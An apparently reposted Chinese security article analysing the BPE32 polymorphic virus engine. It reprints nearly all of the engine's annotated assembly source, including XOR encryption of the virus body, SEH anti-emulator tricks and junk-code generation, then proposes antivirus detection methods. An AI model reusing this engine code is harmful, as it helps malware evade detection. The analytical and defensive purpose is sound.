黑基网 首页 学院 网络安全 查看内容

BPE32 多态引擎剖析

2008-12-21 16:38| 投稿: security

摘要:   创建时间:2008-11-11  文章属性:原创  文章提交:nEINEI (neineit_at_gmail.com)  BPE32 多态引擎剖析  autor: nEINEI  e-mail:...
  创建时间:2008-11-11  文章属性:原创  文章提交:nEINEI (neineit_at_gmail.com)  BPE32 多态引擎剖析  autor: nEINEI  e-mail: [email protected]  date:   2008-11-10  一 BPE32简介  二 技术细节分析  2.0 -- 整体流程设计  2.1 -- 随机数设计  2.2 -- 代码加密方案  2.3 -- 对抗VM的SEH设计  2.4 -- 随机数生成与寄存器选择  2.5 -- 垃圾指令生成方式  2.6 -- 解密器设计  2.7 -- 重建指令流程  三 代码解析  四 检测方案  一 BPE32简介:  BPE32(Benny's Polymorphic Engine for Win32)多态引擎是由Benny's /29A在#4期发布的一个病毒多态引擎,之后在病毒编写如(如Win32.Vulcano)及壳的编写(如ASProtect)当中都得到了应用,BPE32是一个很不错的多态引擎,这里将从设计的角度分析该引擎。  按照Benny's的描述,BPE32引擎有如下特点:  1 可以通过创建SHE来干扰一些AV  2 随机使用寄存器做代码的混淆  3 同一功能代码,由不同的指令动态生成  4 功能代码具有空间随机分布  5 具有仿真CALL 及 jmp 指令  6 在代码之间插入垃圾指令(也包括使用未公开的SALC指令)  我们先看一下BPE32的调用时的输入参数,  ESI  -- 指向待加密的virus数据。  EDI  -- 指向一块内存数据,用来存放由BPE32生成的解密器及加密数据。  ECX  -- 加解密数据的计数,加解密时按照4byte的方式操作,数据由公式(_end - start +3)/4 获得。  EBP  -- 做重定位时使用。  输出参数,  EAX  -- 解码器加上加密数据后的大小,不对齐,精确到1byte而不是一个DWORD  调用很方式简单,例如:  mov esi, vir_body ; 病毒体  mov edi, pmem     ; 内存空间  mov ecx, 6c0h     ; 解密计数  call BPE32  这样调用后pmem里面就是一个重建的病毒代码了。  下面将对具体技术细节做分析。  二 技术细节分析  2.0 流程设计:  调用BPE32后,将在内存中产生如下方式的3部分功能代码,结构如下:  /-------    +--------------------+  |    |    call  decryptor |  --------->@1  |    +--------------------+  |    |                      |  |    | encryptvirus body  |  --------->@2  |    |                    |  \------>|--------------------+  |                    |  |    decryptor       |  |                    |  --------->@3  +--------------------+  @1 是经过计算构造好的一个call调用,因为调用的具体位置要有@2部分决定。  @2 是一个经过加密后的病毒体。  @3 是一个解密器,用于对@2部分进行解密,该部分是经过代码混淆变换的。  这样每次感染其它文件后,重新生成的代码将不再有固定的特征部分,这将使得特征扫描机制失效。  2.1 随机数设计:  BPE32的随机数部分设计的很简单,利用了RDTCS指令来产生一个随机数字,通过栈中参数X,产生一个0 ~ X-1 之间的数字,当参数是0时,则直接返回产生的该数字。  random    proc  push edx  RDTCS  xor edx, edx        ;nulify EDX, we need only EAX  cmp [esp+8], edx        ;is parameter==0 ?  je r_out            ;yeah, do not truncate result  div dword ptr [esp+8]    ;divide it  xchg eax, edx        ;remainder as result  r_out:    pop edx        ;restore EDX  ret Pshd                  ;quit procedure and destroy pushed parameter  random    endp  2.2 代码加密方案:  BPE32采用的加密方案是,先产生两个随机数,一个作为密钥B_key(不变的数字),一个作为增量密钥I_key(每次运算后相加),每次使得B_key + I_key,然后 xor 待加密数据一个DWORD,实现如下:  push 0                     ;产生一个无索引范围的随机数  call random  xchg edx, eax  mov [ebp + xor_key - mgdelta], edx    ;存储基密钥  push 0                     ;产生一个无索引范围的随机数  call random  xchg ebx, eax  mov [ebp + key_inc - mgdelta], ebx    ;存储增量密钥  x_loop:    lodsd                 ;加密virus body  xor eax, edx  stosd  add edx, ebx  loop x_loop  2.3 对抗VM的SEH设计:  对于上面小节中提到的 @3部分,其实是由如下部分组成的,decryptor如下图:  +------------------+ <--------\  |  seh handler     |          |  +------------------+          |  |  deleta geter    |          |  +------------------+          |  |   decryption     |          |  +------------------+          |  |  loop decryptor  | ---------/  +------------------+  seh handler    -- 安装一个seh处理过程。  deleta geter   -- 因为@3部分是由垃圾指令随机填充的,所以每循环一次后需要进行一次重定位。  decryption     -- 解密部分,同样由垃圾指令所包围。  loop decryptor -- 跳向seh handler。  对于SEH BPE32会产生如下形式的代码:  start:  call end_seh_fn  /---->mov esp, [esp+8]       ;--> 相当于push  seh->handler  |     jmp seh_rs  |     end_seh_fn:  |     sub edx, edx  |     push dword ptr fs:[edx] ;--> 相当于push  seh->prev  |     mov fs:[edx], esp  \-----inc byte ptr [edx]      ;--> 该处引发异常,跳向上面语句  jmp start  seh_rs:    xor edi, edi  pop dword ptr fs:[edi]  pop edi  这样对于使用vm技术的aver,如果没有做好seh仿真,将导致仿真失败,无法完成检测,而jmp start 这条语句也很重要,有些aver会实现指令预取的功能(具体可参考《对抗启发式代码仿真检测技术分析》一文),这样会另aver陷入无休止的仿真循环当中。  2.4 随机数生成与寄存器选择  BPE32 通过get_reg 函数产生一个随机的寄存器索引,即产生0 ~ 7 之间的整数,不使用EAX(0),ESP(100b) ,在调用的外部也会判断是否使用了的EBP(101b),实现如下:  get_reg proc  push 8       ; 产生一个随机的 0 ~ 7 之间的整数  call random  test eax, eax  je get_reg   ;不能使用eax  cmp al, 100b ;不能使用esp  je get_reg  ret  get_reg endp  2.5 垃圾指令生成方式:  BPE32 通过调用rjunk 函数来产生垃圾指令,这部分可以产生1byte,2 byte,3byte,5byte垃圾指令,及jmp call类的仿真指令(无疑这类指令的加入使得junk看起来更像真实的指令),同时为了使junk的产生更加随机化,BPE32做了一个简单映射关系。  0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call  左侧索引(eax,随机数) = 右侧(垃圾指令字节数),也就是rjunk先产生一个0 ~ 7 的随机数,根据这个索引映射的列表,进行垃圾指令的生成,例如:  eax 是 0时,产生5byte junk  eax 是 1时,产生1byte junk 和 2byte junk  eax 是 2时,则先产生2byte junk,再产生1byte junk  eax 是 7时,产生jmp或call  按照以上的映射关系,依次类推的产生垃圾指令,下面以1byte junk的代码来说如何产生垃圾代码。  1 byte junk 示例:  esi -- > 待加密数据  edi -- > 内存buff  产生1byte junk指令到内存buff  j1:  call junx1      ;one byte junk instruction  nop  dec eax  SALC  inc eax  clc  cwde  stc  cld  junx1:  pop esi                ; 1 byte junk 指令首地址,即指向nop指令  push 8  call random  add esi, eax    ; 随机定位一条  movsb           ;加入edi指向的内存当中  ret  其它的junk产生方式仅比 1byte junk复杂一些而已,故不再赘述,BPE32还有一个重要的功能指令产生函数,make_xor,make_xor2,make_xor主要是将指定的寄存器(由bl寄存器中的内容指定)清0,make_xor可以产生随机的,xor,Rx,Rx / sub Rx,Rx/ mov Rx,0 这样的等效指令,make_xor2则产生一个指定寄存器xor某一数值的指令,例如:  mov bh,2  call make_xor2  mov eax,01234567h  stosd  以上则产生一条xor edx,01234567h这样的指令,以上两个函数功能简单,故不再做过多说明。  2.6 解密器设计  因为BPE32可以随机的使用寄存器,故这里用Rx来表示任意一个可用的寄存器,每条语句的Rx并不一定代表同一个寄存器。解密器的设计是BPE32多态的重点,我这里先将主要的功能代码表示出来。  mov  Rx,src      --------  I1  获得待解密的地址,放入Rx中  mov  Rx, cnt      --------  I2  获得要解密的此时,放入Rx中  /--->xor  Rx,Rx       --------  I3  解密  |    add  Rx,4        --------  I4  待解密的地址加4  |    add  Rx,1        --------  I5  计数器加1  |    add  Rx,Rx       --------  I6  基密钥 + 增量密钥  |    jcxz xxx          --------  I7  测试解密是否完成,完成后跳出循环  \--- jmp  xxx          --------  I8  继续解密  BPE32围绕 I1 ~ I8 ,通过随机寄存器、插入垃圾指令、变换指令顺序、同等指令替换等手段产生来产生数据不同但功能相同的解密代码,下面我将列举一个去除垃圾指令的BPE32产生的解密代码。  0040202B    E8 00000000     CALL T-BPE32.00402030          ;构造的一个call  00402030    8B3C24          MOV EDI,DWORD PTR SS:[ESP]  00402033    58              POP EAX  00402034    81EF 30204000   SUB EDI,T-BPE32.00402030       ;构造一个重定位  ; I1 的一种生成方式,F7973BCB为随机产生的一个密钥,xor后,ecx 指向了最初call调用后地址,即待解密数据首地址  0040203A    68 CB3B97F7     PUSH F7973BCB;构造一个随机加密的密钥使得ecx指向最初的一个call调用  0040203F    59              POP ECX                        ;这里ecx寄存器随机生成  00402040    81F1 CE1BD7F7   XOR ECX,F7D71BCE  00402046    03CF            ADD ECX,EDI             ;加重定位,获得真正数据的指向  ;I2 的一种生成方式,方案类似于 I1  00402048    33D2            XOR EDX,EDX         ;获得解密的次数,同样采用随机密钥来混淆  0040204A    81C2 68D4F805   ADD EDX,5F8D468  00402050    81F2 6AD4F805   XOR EDX,5F8D46A  ;I3  00402056    2BDB            SUB EBX,EBX                    ;获得密钥,该处密钥均为0  00402058    81C3 00000000   ADD EBX,0  0040205E    3119            XOR DWORD PTR DS:[ECX],EBX     ;解密  ;I4 使计数增加的一种方式  00402060    41              INC ECX                                                             ;源数据增加4  00402061    41              INC ECX  00402062    41              INC ECX  00402063    41              INC ECX  ;I5  00402064    B8 CC54578A     MOV EAX,8A5754CC               ;循环计数减1  00402069    2BD0            SUB EDX,EAX  0040206B    81C2 CB54578A   ADD EDX,8A5754CB  ;I6  00402071    B8 00000000     MOV EAX,0                                             ;基址密钥+增量密钥加(目前增量是0)  00402076    03D8            ADD EBX,EAX  ;I7  00402078    51              PUSH ECX  00402079    8BCA            MOV ECX,EDX  /-0040207B  E3 03           JECXZ SHORT T-BPE32.00402080   ;测试看解密是否完成  |   ;I8  |0040207D    59             POP ECX  |0040207E  ^ EB DE          JMP SHORT T-BPE32.0040205E     ;继续进行解密  \-->00402080    59          POP ECX  00402081    61              POPAD  00402082    C3              RETN2.7 重建指令流程  针对解密器,BPE32对执行先后顺序无关的代码,进行了重新排列,首先BPE32现将这些功能分成8个部分,即greg0 ~ greg7个处理例程。其中:  greg0  -- 产生SEH部分代码  greg1  -- 产生SEH部分代码  greg2  -- 产生mov Rx,src 类代码  greg3  -- 产生mov Rx, cnt类代码  以上部分例程不进行代码重排序。  greg4  --    产生密钥自增代码  greg5  -- 产生待解密数据自增代码  greg6  -- 产生计数器自减的代码  greg7  -- 产生解密跳转的代码  BPE32会对 greg4 ~ greg6 进行重排序,因这几部分代码进行重排序,不会影响解密代码功能,以此来达到代码混淆的目的。同时这几部分功能都有能力产生,功能一致但代码不同的新指令如:  greg4提供4种等效方案,供随机选择  1:XCHG EAX, Rx  XOR Rx, Rx  OR Rx, EAX  ADD Rx, value  2: add Rx,value  3: mov eax,value  add Rx,eax  4: mov eax,Rx  add eax,value  xchg eax,Rx  greg5 提供多种等效方案,供随机选择,如  1:  inc Rx  ;执行4次  2:                       3:  mov eax,Rx ,             mov eax,4  add eax,4                add Rx,eax  xchg eax,Rx  greg6提供了4种等效方案,供随机选择  1:sub Rx,1  2:dec Rx,1  3:  mov eax, random_v  sub Rx, eax  add reg,random -1  4:  xchg eax,Rx  dec eax  xchg eax,Rx  greg7提供了两种等效方案,供随机选择  1:  push ecx  mov ecx, reg  jecxz label  pop ecx  jmp decrypt_loop  label:  pop ecx  2 :  xor eax, eax  dec eax  add eax, reg  jns decrypt_loop  而整体greg4 ~ greg6的排序规则由如下代码产生:  push 6            ;产生0 ~ 5种方案的随机排列顺序  call random  test eax, eax  je g5            ;greg4 - key incremention  cmp al, 1            ;greg5 - source incremention  je g1            ;greg6 - count decremention  cmp al, 2            ;greg7 - decryption loop  je g2  cmp al, 3  je g3  cmp al, 4  je g4  g0:    call gg1  call greg6  jmp g_end  g1:    call gg2  call greg5  jmp g_end  g2:    call greg5  call gg2  jmp g_end  g3:    call greg5  gg3:    call greg6  jmp g_out  g4:    call greg6  call gg1  jmp g_end  g5:    call greg6  call greg5  g_out:    call greg4  g_end:    call greg7  mov al, 61h  stosb  call rjunk  mov al, 0c3h  stosb  pop eax  sub eax, edi  neg eax  mov [esp.Pushad_eax], eax  popad  ret    ;整个BPE32结束  三 代码解析  下面将对BPE32关键处的代码做简要的注释;  RDTCS    equ    <dw    310Fh>      ;RDTCS opcode  SALC    equ    <db    0D6h>      ;SALC opcode  BPE32   Proc  pushad              ;save all regs  push edi              ;save these regs for l8r use  push ecx              ;    ...  mov edx, edi          ;    ...  push esi              ;preserve this reg  call rjunk          ;generate random junk instructions  pop esi              ;restore it  mov al, 0e8h          ;create CALL instruction  stosb              ;    ...  mov eax, ecx          ;    ...  imul eax, 4          ;    ...  stosd              ;    ...  ;edx保存有最开始的edi  mov eax, edx        ;calculate size of CALL+junx  sub edx, edi        ;    ...  neg edx            ;    ...  add edx, eax        ;    ...  push edx            ;保存 call 与 填充垃圾指令的差值  push 0            ;get random number  call random        ;    ...  xchg edx, eax  mov [ebp + xor_key - mgdelta], edx    ;use it as xor constant  push 0                    ;get random number  call random                ;    ...  xchg ebx, eax  mov [ebp + key_inc - mgdelta], ebx    ;use it as key increment constant  x_loop:    lodsd                    ;load DWORD  xor eax, edx                ;encrypt it  stosd                    ;store encrypted DWORD  add edx, ebx                ;increment key  loop x_loop                ;next DWORD  ;    以上完成了对病毒体的加密  ;    下面进行利用SEH对抗AV VM仿真  call rjunk            ;generate junx  mov eax, 0006e860h            ;generate SEH handler  stosd                    ;    ...  mov eax, 648b0000h            ;    ...  stosd                    ;    ...  mov eax, 0ceb0824h            ;    ...  stosd                    ;    ...  ;以上产生类似如下代码  ;pushad  ;call t_bpe32.0040200c  ;mov esp,dword ptr ss:[esp+8]  ;jmp short t_bpe32.00402018  greg0:    call get_reg                ;get random register  cmp al, 5                                    ;MUST NOT be EBP register  je greg0  mov bl, al                                ;store register  ;dl 是参数,11 是产生非mov reg,reg 指令的标志  mov dl, 11                                ;proc parameter (do not generate MOV)  call make_xor        ;create XOR or SUB instruction  inc edx                                        ;destroy parameter  mov al, 64h                                ;generate FS:  stosb                                            ;store it  mov eax, 896430ffh        ;next SEH instructions  or ah, bl                                    ;change register  stosd                                            ;store them  mov al, 20h                                ;    ...  add al, bl                                ;    ...  stosb                                            ;    ...  ;以上将产生类似如下代码  ;xor Rx,Rx  ;push dword ptr fs:[Rx]  ;mov  dword ptr fs:[Rx],esp  push 2                ;get random number  call random  test eax, eax  je _byte_  mov al, 0feh    ;generate INC DWORD PTR  jmp _dw_  _byte_:    mov al, 0ffh    ;generate INC BYTE PTR  _dw_:    stosb        ;store it  mov al, bl    ;store register  stosb  mov al, 0ebh    ;generate JUMP SHORT  stosb  mov al, -24d    ;generate jump to start of code (trick  stosb               ;for better emulators, e.g. NODICE32)  ; 以上产生类似如下代码  ; inc byte ptr [edx]  ; jmp start  call rjunk                                ;generate junx  greg1:    call get_reg        ;generate random register  cmp al, 5                                    ;MUST NOT be EBP  je greg1  mov bl, al                                ;store it  call make_xor        ;generate XOR,SUB reg, reg or MOV reg, 0  mov al, 64h        ;next SEH instructions  stosb  mov al, 8fh  stosb  mov al, bl  stosb  mov al, 58h  add al, bl  stosb  mov al, 0e8h        ;generate CALL  stosb  xor eax, eax  stosd  push edi             ;store for l8r use  call rjunk        ;call junk generator  call get_reg        ;random register  mov bl, al        ;store it  push 1            ;random number (0-1)  call random  test eax, eax  jne next_delta  mov al, 8bh        ;generate MOV reg, [ESP]; POP EAX  stosb  mov al, 80h  or al, bl  rol al, 3  stosb  mov al, 24h  stosb  mov al, 58h  jmp bdelta  ;以上产生类似如下代码  ;seh_rs:  ;    xor Rx, Rx  ;    pop dword ptr fs:[Rx]  ;    pop Rx  next_delta:  mov al, bl                ;generate POP reg; SUB reg, ...  add al, 58h  bdelta:    stosb  mov al, 81h  stosb  mov al, 0e8h  add al, bl  stosb  pop eax  stosd  call rjunk            ;random junx  ;做一个随机的重定位  xor bh, bh            ;parameter (first execution only)  call greg2            ;generate MOV sourcereg, ...  mov al, 3                ;generate ADD sourcereg, deltaoffset  stosb  mov al, 18h  or al, bh  rol al, 3  or al, bl  stosb  mov esi, ebx            ;store EBX  call greg2            ;generate MOV countreg, ...  mov cl, bh            ;store count register  mov ebx, esi            ;restore EBX  call greg3            ;generate MOV keyreg, ...  push edi                ;store this position for jump to decryptor  mov al, 31h            ;generate XOR [sourcereg], keyreg  stosb  mov al, ch  rol al, 3  or al, bh  stosb  push 6                ;this stuff will choose ordinary of calls  call random            ;to code generators  test eax, eax  je g5                ;greg4 - key incremention  cmp al, 1                ;greg5 - source incremention  je g1                ;greg6 - count decremention  cmp al, 2                ;greg7 - decryption loop  je g2  cmp al, 3  je g3  cmp al, 4  je g4  g0:    call gg1  call greg6  jmp g_end  g1:    call gg2  call greg5  jmp g_end  g2:    call greg5  call gg2  jmp g_end  g3:    call greg5  gg3:    call greg6  jmp g_out  g4:    call greg6  call gg1  jmp g_end  g5:    call greg6  call greg5  g_out:    call greg4  g_end:    call greg7  mov al, 61h            ;generate POPAD instruction  stosb  call rjunk            ;junk instruction generator  mov al, 0c3h            ;RET instruction  stosb  pop eax                ;calculate size of decryptor and encrypted data  sub eax, edi  neg eax  mov [esp.Pushad_eax], eax        ;store it to EAX register  popad                ;restore all regs  ret                ;and thats all folx  get_reg proc                ;this procedure generates random register  push 8                ;random number (0-7)  call random            ;    ...  test eax, eax  je get_reg            ;MUST NOT be 0 (=EAX is used as junk register)  cmp al, 100b            ;MUST NOT be ESP  je get_reg  ret  get_reg endp  make_xor proc            ;this procedure will generate instruction, that  push 3            ;will nulify register (BL as parameter)  call random  test eax, eax  je _sub_  cmp al, 1  je _mov_  mov al, 33h         ;generate XOR reg, reg  jmp _xor_  _sub_:    mov al, 2bh        ;generate SUB reg, reg  _xor_:    stosb  mov al, 18h  or al, bl  rol al, 3  or al, bl  stosb  ret  _mov_:    cmp dl, 11        ;generate MOV reg, 0  je make_xor  mov al, 0b8h  add al, bl  stosb  xor eax, eax  stosd  ret  make_xor endp  gg1:    call greg4  jmp greg5  gg2:    call greg4  jmp greg6  random    proc                ;this procedure will generate random number  push edx                ;save EDX  RDTCS                    ;RDTCS instruction - reads PCs tix and stores  xor edx, edx            ;nulify EDX, we need only EAX  cmp [esp+8], edx        ;is parameter==0 ?  je r_out  div dword ptr [esp+8]    ;divide it  xchg eax, edx        ;remainder as result  r_out:    pop edx            ;restore EDX  ret Pshd            ;quit procedure and destroy pushed parameter  random    endp  make_xor2 proc            ;create XOR instruction  mov al, 81h  stosb  mov al, 0f0h  add al, bh  stosb  ret  make_xor2 endp  greg2    proc            ;1 parameter = source/count value  call get_reg        ;get register  cmp al, bl        ;already used ?  je greg2  cmp al, 5  je greg2  cmp al, bh  je greg2  mov bh, al  mov ecx, [esp+4]    ;get parameter(构造的第一个call指令后下一个地址)  push 5        ;choose instructions  call random  test eax, eax  je s_next0  cmp al, 1  je s_next1  cmp al, 2  je s_next2  cmp al, 3  je s_next3  mov al, 0b8h            ;MOV reg, random_value  add al, bh            ;XOR reg, value  stosb                ;param = random_value xor value  push 0  call random  xor ecx, eax  stosd  call make_xor2  mov eax, ecx  jmp n_end2  s_next0:mov al, 68h        ;PUSH random_value  stosb            ;POP reg  push 0            ;XOR reg, value  call random        ;result = random_value xor value  xchg eax, ecx  xor eax, ecx  stosd  mov al, 58h  add al, bh  stosb  call make_xor2  xchg eax, ecx  jmp n_end2  s_next1:mov al, 0b8h    ;MOV EAX, random_value  stosb        ;MOV reg, EAX  push 0        ;SUB reg, value  call random    ;result = random_value - value  stosd  push eax  mov al, 8bh  stosb  mov al, 18h  or al, bh  rol al, 3  stosb  mov al, 81h  stosb  mov al, 0e8h  add al, bh  stosb  pop eax  sub eax, ecx  jmp n_end2  s_next2:push ebx        ;XOR reg, reg  mov bl, bh    ;XOR reg, random_value  call make_xor    ;ADD reg, value  pop ebx        ;result = random_value + value  call make_xor2  push 0  call random  sub ecx, eax  stosd  push ecx  call s_lbl  pop eax  jmp n_end2  s_lbl:    mov al, 81h        ;create ADD reg, ... instruction  stosb  mov al, 0c0h  add al, bh  stosb  ret  s_next3:push ebx            ;XOR reg, reg  mov bl, bh        ;ADD reg, random_value  call make_xor        ;XOR reg, value  pop ebx            ;result = random_value xor value  push 0  call random  push eax  xor eax, ecx  xchg eax, ecx  call s_lbl  xchg eax, ecx  stosd  call make_xor2  pop eax  n_end2:    stosd  push esi  call rjunk  pop esi  ret Pshd  greg2    endp  greg3    proc  call get_reg            ;get register  cmp al, 5                ;already used ?  je greg3  cmp al, bl  je greg3  cmp al, bh  je greg3  cmp al, cl  je greg3  mov ch, al  mov edx, 0            ;get encryption key value  xor_key = dword ptr $ - 4  push 3  call random  test eax, eax  je k_next1  cmp al, 1  je k_next2  push ebx                ;XOR reg, reg  mov bl, ch            ;OR, ADD, XOR reg, value  call make_xor  pop ebx  mov al, 81h  stosb  push 3  call random  test eax, eax  je k_nxt2  cmp al, 1  je k_nxt3  mov al, 0c0h  k_nxt1:    add al, ch  stosb  xchg eax, edx  n_end1:    stosd  k_end:    call rjunk  ret  k_nxt2:    mov al, 0f0h  jmp k_nxt1  k_nxt3:    mov al, 0c8h  jmp k_nxt1  k_next1:mov al, 0b8h                ;MOV reg, value  jmp k_nxt1  k_next2:mov al, 68h                ;PUSH value  stosb                    ;POP reg  xchg eax, edx  stosd  mov al, ch  add al, 58h  jmp i_end1  greg3    endp  greg4    proc  mov edx, 0             ;get key increment value  key_inc = dword ptr $ - 4  i_next:    push 3  call random  test eax, eax  je i_next0  cmp al, 1  je i_next1  cmp al, 2  je i_next2  mov al, 90h            ;XCHG EAX, reg  add al, ch            ;XOR reg, reg  stosb                ;OR reg, EAX  push ebx                ;ADD reg, value  mov bl, ch  call make_xor  pop ebx  mov al, 0bh  stosb  mov al, 18h  add al, ch  rol al, 3  stosb  i_next0:mov al, 81h            ;ADD reg, value  stosb  mov al, 0c0h  add al, ch  stosb  xchg eax, edx  jmp n_end1  i_next1:mov al, 0b8h            ;MOV EAX, value  stosb                                            ;ADD reg, EAX  xchg eax, edx  stosd  mov al, 3  stosb  mov al, 18h  or al, ch  rol al, 3  i_end1:    stosb  i_end2:    call rjunk  ret  i_next2:mov al, 8bh                ;MOV EAX, reg  stosb                                        ;ADD EAX, value  mov al, 0c0h                ;XCHG EAX, reg  add al, ch  stosb  mov al, 5  stosb  xchg eax, edx  stosd  mov al, 90h  add al, ch  jmp i_end1  greg4    endp  greg5    proc  push ecx  mov ch, bh  push 4  pop edx  push 2  call random  test eax, eax  jne ng5  call i_next                ;same as previous, value=4  pop ecx  jmp k_end  ng5:    mov al, 40h                ;4x inc reg  add al, ch  pop ecx  stosb  stosb  stosb  jmp i_end1  greg5    endp  greg6    proc  push 5  call random  test eax, eax  je d_next0  cmp al, 1  je d_next1  cmp al, 2  je d_next2  mov al, 83h                ;SUB reg, 1  stosb  mov al, 0e8h  add al, cl  stosb  mov al, 1  jmp i_end1  d_next0:mov al, 48h                ;DEC reg  add al, cl  jmp i_end1  d_next1:mov al, 0b8h                ;MOV EAX, random_value  stosb                                            ;SUB reg, EAX  push 0                                        ;ADD reg, random_value-1  call random  mov edx, eax  stosd  mov al, 2bh  stosb  mov al, 18h  add al, cl  rol al, 3  stosb  mov al, 81h  stosb  mov al, 0c0h  add al, cl  stosb  dec edx  mov eax, edx  jmp n_end1  d_next2:mov al, 90h                ;XCHG EAX, reg  add al, cl                ;DEC EAX  stosb                                        ;XCHG EAX, reg  mov al, 48h  stosb  mov al, 90h  add al, cl  jmp i_end1  greg6    endp  greg7    proc  mov edx, [esp+4]  dec edx  push 2  call random  test eax, eax  je l_next0  mov al, 51h            ;PUSH ECX  stosb                ;MOV ECX, reg  mov al, 8bh            ;JECXZ label  stosb                ;POP ECX  mov al, 0c8h            ;JMP decrypt_loop  add al, cl            ;label:  stosb                ;POP ECX  mov eax, 0eb5903e3h  stosd  sub edx, edi  mov al, dl  stosb  mov al, 59h  jmp l_next  l_next0:push ebx        ;XOR EAX, EAX  xor bl, bl    ;DEC EAX  call make_xor    ;ADD EAX, reg  pop ebx             ;JNS decrypt_loop  mov al, 48h  stosb  mov al, 3  stosb  mov al, 0c0h  add al, cl  stosb  mov al, 79h  stosb  sub edx, edi  mov al, dl  l_next:    stosb  call rjunk  ret Pshd  greg7    endp  rjunkjc:push 7  call random  jmp rjn  rjunk    proc      ;junk instruction generator  push 8  call random;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call  ;左侧索引(eax,随机数) = 右侧(垃圾指令字节数)  rjn:    test eax, eax  je j5  cmp al, 1  je j_1x2  cmp al, 2  je j_2x1  cmp al, 4  je j2  cmp al, 5  je j3  cmp al, 6  je r_end  cmp al, 7  je jcj  j1:    call junx1        ;one byte junk instruction  nop  dec eax  SALC  inc eax  clc  cwde  stc  cld  junx1:    pop esi  push 8  call random  add esi, eax  movsb  ret  j_1x2:    call j1            ;one byte and two byte  jmp j2  j_2x1:    call j2            ;two byte and one byte  jmp j1  j3:    call junx3  db    0c1h, 0c0h    ;rol eax, ...  db    0c1h, 0e0h    ;shl eax, ...  db    0c1h, 0c8h    ;ror eax, ...  db    0c1h, 0e8h    ;shr eax, ...  db    0c1h, 0d0h    ;rcl eax, ...  db    0c1h, 0f8h    ;sar eax, ...  db    0c1h, 0d8h    ;rcr eax, ...  db    083h, 0c0h  db    083h, 0c8h  db    083h, 0d0h  db    083h, 0d8h  db    083h, 0e0h  db    083h, 0e8h  db    083h, 0f0h  db    083h, 0f8h    ;cmp eax, ...  db    0f8h, 072h    ;clc; jc ...  db    0f9h, 073h    ;stc; jnc ...  junx3:    pop esi            ;three byte junk instruction  push 17  call random  imul eax, 2  add esi, eax  movsb  movsb  r_ran:    push 0  call random  test al, al  je r_ran  stosb  ret  j2:    call junx2  db    8bh        ;mov eax, ...  db    03h        ;add eax, ...  db    13h        ;adc eax, ...  db    2bh        ;sub eax, ...  db    1bh        ;sbb eax, ...  db    0bh        ;or eax, ...  db    33h        ;xor eax, ...  db    23h        ;and eax, ...  db    33h        ;test eax, ...  junx2:    pop esi            ;two byte junk instruction  push 9  call random  add esi, eax  movsb  push 8  call random  add al, 11000000b  stosb  r_end:    ret  j5:    call junx5  db    0b8h        ;mov eax, ...  db    05h        ;add eax, ...  db    15h        ;adc eax, ...  db    2dh        ;sub eax, ...  db    1dh        ;sbb eax, ...  db    0dh        ;or eax, ...  db    35h        ;xor eax, ...  db    25h        ;and eax, ...  db    0a9h        ;test eax, ...  db    3dh        ;cmp eax, ...  junx5:    pop esi            ;five byte junk instruction  push 10  call random  add esi, eax  movsb  push 0  call random  stosd  ret  jcj:    call rjunkjc        ;junk  push edx  push ebx        ;junk  push ecx  mov al, 0e8h        ;CALL label1  stosb  push edi  stosd  push edi  call rjunkjc  mov al, 0e9h        ;JMP label2  stosb  mov ecx, edi  stosd  mov ebx, edi            ; 保存后方要修改jmp地址时的EDI,  call rjunkjc  pop eax  sub eax, edi  neg eax  mov edx, edi  pop edi  stosd  mov edi, edx  call rjunkjc  mov al, 0c3h                ; ret  stosb  call rjunkjc  sub ebx, edi            ;前面指令jmp 后的地址值  neg ebx  xchg eax, ebx  push edi  mov edi, ecx  stosd  pop edi  call rjunkjc  pop ecx  pop ebx  pop edx  ret  rjunk    endp  BPE32     EndP    ;BPE32 ends here  四 检测方案  针对BPE32产生的代码大致可以有三种检测方案(当然也可能有更多);  1 通过VM仿真执行,解密后按特征码方式匹配,仿真结束的标志可以通过连续内存操作结束来判断。  2 通过识别SEH部分来检测是否被bpe32多态引擎感染过,首先可以通过带通配符的检测方法,定位到seh部分,当识别到inc byte ptr [Rx] 引发异常,及后面的jmp start时,即可判断被感染(当然该方案不准确,存在误报)。  3 如果方案1的特征匹配失效过,可对vm仿真解密后buff进行算法扫描,具体方案,记录第一个call指令后的地址设为v_callnext,而后搜索重定位代码,之后如发现连续的寄存器操作则计算该操作值(大家可查看前面的解析,执行到这一步时是进行解密前源数据的获取,当然这其中包含插入的垃圾指令)以上面的代码为例,执行的是如下代码:  0040203A    68 CB3B97F7     PUSH F7973BCB;构造一个随机加密的密钥使得ecx指向最初的一个call调用  0040203F    59              POP ECX                        ;这里ecx寄存器是随机生成的  00402040    81F1 CE1BD7F7   XOR ECX,F7D71BCE  if(v_callnext == F7973BCB ^ F7D71BCE)  {  printf("found Polymorphic virus\n");  }  该搜索过程需要设置步长(100 字节以内就可以),方案3检测速度慢,同样存在误报问题。  以上就是针对BPE32的多态引擎分析,如有分析不正确的地方还望大家不吝指正,也可通过邮件我们一起交流。  附参考文献:  [1] Benny‘s .《Benny's Polymorphic Engine for Win32》
小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论


新出炉

返回顶部